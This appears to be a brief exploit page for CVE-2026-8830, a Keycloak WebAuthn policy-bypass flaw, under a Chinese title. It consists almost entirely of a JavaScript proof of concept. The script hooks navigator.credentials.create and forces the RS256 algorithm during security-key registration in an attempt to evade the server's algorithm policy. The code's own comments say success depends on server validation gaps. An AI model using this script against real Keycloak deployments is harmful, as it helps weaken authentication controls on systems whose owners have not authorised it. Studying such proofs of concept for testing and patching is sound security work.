CVE-2026-8830 Keycloak WebAuthn策略绕过漏洞

// Conceptual PoC for CVE-2026-8830 // This script demonstrates how to manipulate the WebAuthn registration request // to bypass server-side policy checks on public key algorithms. // 1. Hook into the WebAuthn registration function const originalCreate = navigator.credentials.create; navigator.credentials.create = function(options) { // 2. Modify the publicKey parameters before sending to the authenticator/server // Example: Force a weaker algorithm (e.g., RS256) if ES256 is enforced by policy if (options && options.publicKey) { console.log("[+] Original publicKey params:", options.publicKey); // Attempt to bypass policy by altering acceptable algorithms or extensions // Note: The actual bypass depends on specific server validation logic gaps. options.publicKey.pubKeyCredParams = [ { type: "public-key", alg: -257 } // RS256 (COSE algorithm identifier) ]; console.log("[+] Modified publicKey params:", options.publicKey); } // 3. Proceed with the modified request return originalCreate.call(navigator.credentials, options).then(credential => { console.log("[+] Credential registered successfully with bypassed params."); return credential; }); }; // Trigger the registration flow on the target Keycloak instance // User must be logged in and initiate the "Add Security Key" action.